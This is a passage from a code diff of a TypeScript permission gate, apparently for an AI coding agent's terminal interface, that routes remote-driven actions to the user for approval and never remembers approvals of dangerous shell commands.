+
denylist?: string[]; // dangerous-command patterns that always require a prompt
|
|
17
|
+
// Out-of-cwd directories approved this session ("always" on an outside prompt),
|
|
18
|
+
// mutated in place. Shared with the tool context so approved locations stop
|
|
19
|
+
// re-prompting. The same array instance must be handed to the tools.
|
|
20
|
+
allowedOutsideRoots?: string[];
|
|
21
|
+
ask: Asker;
|
|
22
|
+
// True while the active turn was injected by a remote controller (the app, via
|
|
23
|
+
// /remote-access). Remote turns NEVER auto-approve off bypass-mode/allowlist/
|
|
24
|
+
// acceptEdits — every would-be action is relayed to the app for Allow/Deny, so
|
|
25
|
+
// an unattended terminal can't silently run a remote party's bash or edits.
|
|
26
|
+
// Hard denies (e.g. plan mode) are still honored without bothering the phone.
|
|
27
|
+
getRemote?: () => boolean;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
// The permission gate used by the live TUI. It first applies the mode/allowlist
|
|
31
|
+
// policy; only when that yields "ask" does it surface an interactive prompt, and it
|
|
32
|
+
// applies "always" outcomes so subsequent similar actions don't re-prompt.
|
|
33
|
+
export class ModeGate implements PermissionGate {
|
|
34
|
+
constructor(private readonly deps: ModeGateDeps) {}
|
|
35
|
+
|
|
36
|
+
async request(req: PermissionRequest): Promise<PermissionDecision> {
|
|
37
|
+
const denylist = this.deps.denylist ?? [];
|
|
38
|
+
const auto = decideAuto(req, this.deps.getMode(), this.deps.allowlist, denylist);
|
|
39
|
+
|
|
40
|
+
// Remote-driven turn: skip every auto-allow (bypass/allowlist/acceptEdits) and
|
|
41
|
+
// relay the decision to the app. Still respect a hard "deny" (e.g. plan mode)
|
|
42
|
+
// so a read-only stance can't be talked around remotely. Outcomes are never
|
|
43
|
+
// remembered — we don't let a remote operator mutate local allowlist/mode.
|
|
44
|
+
if (this.deps.getRemote?.()) {
|
|
45
|
+
if (auto === "deny") return "deny";
|
|
46
|
+
return (await this.deps.ask(req)) === "deny" ? "deny" : "allow";
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
if (auto !== "ask") return auto;
|
|
50
|
+
|
|
51
|
+
// A dangerous command can be approved once, but is never remembered: adding
|
|
52
|
+
// it to the allowlist would let a later injected variant slip through.
|
|
53
|
+
const dangerous = req.kind === "bash" && isDangerousCommand(req.detail, denylist);
|
|
54
|
+
|
|
55
|
+
const outcome = await this.deps.ask(req);
|
|
56
|
+
if (outcome === "deny") return "deny";
|
|
57
|
+
if (outcome === "always" && !dangerous) {
|
|
58
|
+
if (req.outside) {
|
|
59
|
+
// Remember the approved location's directory, so further access under it (a
|
|
60
|
+
// sibling repo the user pointed us at) doesn't re-prompt. Deliberately does
|
|
61
|
+
// NOT relax the edit mode — leaving cwd stays a per-location decision.
|
|
62
|
+
const roots = this.deps.allowedOutsideRoots;
|
|
63
|
+
const root = req.path ? dirname(req.path) : undefined;
|
|
64
|
+
if (roots && root && !roots.includes(root)) roots.push(root);
|
|
65
|
+
} else if (req.kind === "bash") {
|
|
66
|
+
if (!this.deps.allowlist.includes(req.detail)) this.deps.allowlist.push(req.detail);
|
|
67
|
+
} else {
|
|
68
|
+
this.deps.setMode("acceptEdits");
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
return "allow";
|
|
72
|
+
}
|
|
73
|
+
}
|